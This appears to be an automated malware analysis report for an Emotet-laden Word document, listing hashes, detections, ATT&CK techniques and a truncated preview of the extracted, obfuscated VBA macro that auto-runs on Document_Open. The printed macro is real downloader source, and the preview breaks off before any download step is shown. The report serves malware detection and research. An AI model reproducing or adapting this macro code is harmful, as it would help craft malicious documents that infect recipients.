Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 8803b64732179105…

MALICIOUS

Office (OLE)

163.9 KB Created: 2020-09-15 19:31:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: 39bd10b05d473dc1fb83a2db1a6945e7 SHA-1: 85ee62970a2e10a27e60297018a86b211b6ed1fb SHA-256: 8803b647321791051baa9ae249b48b03143908965ed583a37b955bf28c6a1c77
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is a Microsoft Office document containing VBA macros, specifically a Document_Open macro designed to execute upon opening. Heuristics indicate the use of CreateObject, a common technique for launching malicious payloads. ClamAV detection explicitly identifies it as 'Doc.Downloader.Emotet-9761754-0', strongly suggesting Emotet family involvement. The VBA macro code, though obfuscated, is designed to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-9761754-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9761754-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
75714e73d3e8750b3760209a7997fccc8b6d96f31b59fa1d20ad2b0ef4583864		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 25430 bytes
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Rh4gifr8eosoljafhd"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Ex6r5nurggil2 = Array(Q77lai8ek0q + "Ium34j_adl361mWrwm_b4817a3vrc Wbpbafpn_l10l" + Awz1ayzxqnt, P84rptb975klt2bi, Jqt92g6d1x8w9t5qf.Lqdt6v1931i, Rm5vw6od7rpzi + "Bsmtsvs8g9oihln Hwqk3bzcabon Bxiyii4ghux64f8 Jyc2zg5i05b4")
End Sub


Attribute VB_Name = "Jqt92g6d1x8w9t5qf"
Attribute VB_Base = "0{42671F6E-6F44-40B4-AD92-6D07C6B0B982}{B15FD090-D3D9-4219-9492-8AC041D91DE5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Lqdt6v1931i()
On Error Resume Next
   Set O52ngq4pt9id01 = Rh4gifr8eosoljafhd.Signatures
pHPww = "iALwCsP1zz5882jBmEwjJ4K1vhSRVFHjBh"
LzIPWP = Mid(pHPww, 25, 1)
wZbViKOii = LzIPWP
LrQMZDctk = "Rva5vpO3b7Ef3XsqGjSKu3aOoW1jt9wPbNT9"
GqmZkzVszu = Mid(LrQMZDctk, 12, 2)
FDCKz = GqmZkzVszu
wZFNASSEjG = "Lfyw2EuA3q 7Pz3W7fu"
NBcqXjKzCE = Mid(wZFNASSEjG, 3, 2)
fBzYfGAjHi = NBcqXjKzCE
Set Yptgoj9de_t = Rh4gifr8eosoljafhd.Signatures
LFBHBRlYmnX = "04oA7YHfNnikRzUzTWjY 9vhohtD6z"
VrlziaTQN = Mid(LFBHBRlYmnX, 23, 2)
hnLrs = VrlziaTQN
HvcDccZjI = "S32cTnAjcbQbmVjlEq"
NwJZYTXt = Mid(HvcDccZjI, 3, 1)
UorLcLNzlvZ = NwJZYTXt
JaDwH = "hPsVjOVjy4zA1"
Set Yi6c9oqco22 = Rh4gifr8eosoljafhd.Signatures
FmEOpPkAsOf = Mid(JaDwH, 8, 2)
kiVdUwoGqL = FmEOpPkAsOf
GHHBItKAk = "kz  JWrLAj7XUmPbZoiXDSCTLp"
QchHF = Mid(GHHBItKAk, 3, 1)
LnPEwHZTY = QchHF
FvLzk = "dzhdzfvjC1hzf 2Glia"
ctdjzhodvB = Mid(FvLzk, 14, 2)
Set Ustl1g9d5edultv = Rh4gifr8eosoljafhd.Signatures
LJcZCtiDmj = ctdjzhodvB
cUMGYh = "9XlERWWnjFs566IjZF83dWXX2mDBo3f7IkFlQZji"
FnAiilFR = Mid(cUMGYh, 31, 1)
zLLjPQzjH = FnAiilFR
uYGHBJKbw = fBzYfGAjHi + wZbViKOii + LJcZCtiDmj + SrFNdvG + hnLrs + DSYMoIiDSAO
Ip16_5g6_3junq = 55
   Set O52ngq4pt9id01 = Rh4gifr8eosoljafhd.Signatures
pHPww = "iALwCsP1zz5882jBmEwjJ4K1vhSRVFHjBh"
LzIPWP = Mid(pHPww, 25, 1)
wZbViKOii = LzIPWP
LrQMZDctk = "Rva5vpO3b7Ef3XsqGjSKu3aOoW1jt9wPbNT9"
GqmZkzVszu = Mid(LrQMZDctk, 12, 2)
FDCKz = GqmZkzVszu
wZFNASSEjG = "Lfyw2EuA3q 7Pz3W7fu"
NBcqXjKzCE = Mid(wZFNASSEjG, 3, 2)
fBzYfGAjHi = NBcqXjKzCE
Set Yptgoj9de_t = Rh4gifr8eosoljafhd.Signatures
LFBHBRlYmnX = "04oA7YHfNnikRzUzTWjY 9vhohtD6z"
VrlziaTQN = Mid(LFBHBRlYmnX, 23, 2)
hnLrs = VrlziaTQN
HvcDccZjI = "S32cTnAjcbQbmVjlEq"
NwJZYTXt = Mid(HvcDccZjI, 3, 1)
UorLcLNzlvZ = NwJZYTXt
JaDwH = "hPsVjOVjy4zA1"
Set Yi6c9oqco22 = Rh4gifr8eosoljafhd.Signatures
FmEOpPkAsOf = Mid(JaDwH, 8, 2)
kiVdUwoGqL = FmEOpPkAsOf
GHHBItKAk = "kz  JWrLAj7XUmPbZoiXDSCTLp"
QchHF = Mid(GHHBItKAk, 3, 1)
LnPEwHZTY = QchHF
FvLzk = "dzhdzfvjC1hzf 2Glia"
ctdjzhodvB = Mid(FvLzk, 14, 2)
Set Ustl1g9d5edultv = Rh4gifr8eosoljafhd.Signatures
LJcZCtiDmj = ctdjzhodvB
cUMGYh = "9XlERWWnjFs566IjZF83dWXX2mDBo3f7IkFlQZji"
FnAiilFR = Mid(cUMGYh, 31, 1)
zLLjPQzjH = FnAiilFR
uYGHBJKbw = fBzYfGAjHi + wZbViKOii + LJcZCtiDmj + SrFNdvG + hnLrs + DSYMoIiDSAO
G2p_tt8toxafwf = Hljui9wzj3v9q6a + Chr$(Ip16_5g6_3junq + (60))
   Set O52ngq4pt9id01 = Rh4gifr8eosoljafhd.Signatures
pHPww = "iALwCsP1zz5882jBmEwjJ4K1vhSRVFHjBh"
LzIPWP = Mid(pHPww, 25, 1)
wZbViKOii = LzIPWP
LrQMZDctk = "Rva5vpO3b7Ef3XsqGjSKu3aOoW1jt9wPbNT9"
GqmZkzVszu = Mid(LrQMZDctk, 12, 2)
FDCKz = GqmZkzVszu
wZFNASSEjG = "Lfyw2EuA3q 7Pz3W7fu"
NBcqXjKzCE = Mid(wZFNASSEjG, 3, 2)
fBzYfGAjHi = NBcqXjKzCE
Set Yptgoj9de_t = Rh4gifr8eosoljafhd.Signatures
LFBHBRlYmnX = "04oA7YHfNnikRzUzTWjY 9vhohtD6z"
VrlziaTQN = Mid(LFBHBRlYmnX, 23, 2)
hnLrs = VrlziaTQN
HvcDccZjI = "S32cTnAjcbQbmVjlEq"
NwJZYTXt = Mid(HvcDccZjI, 3, 1)
UorLcLNzlvZ = NwJZYTXt
JaDwH = "hPsVjOVjy4zA1"
Set Yi6c9oqco22 = Rh4gifr8eosoljafhd.Signatures
FmEOpPkAsOf = Mid(JaDwH, 8, 2)
kiVdUwoGqL = FmEOpPkAsOf
GHHBItKAk = "kz  JWrLAj7XUmP
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.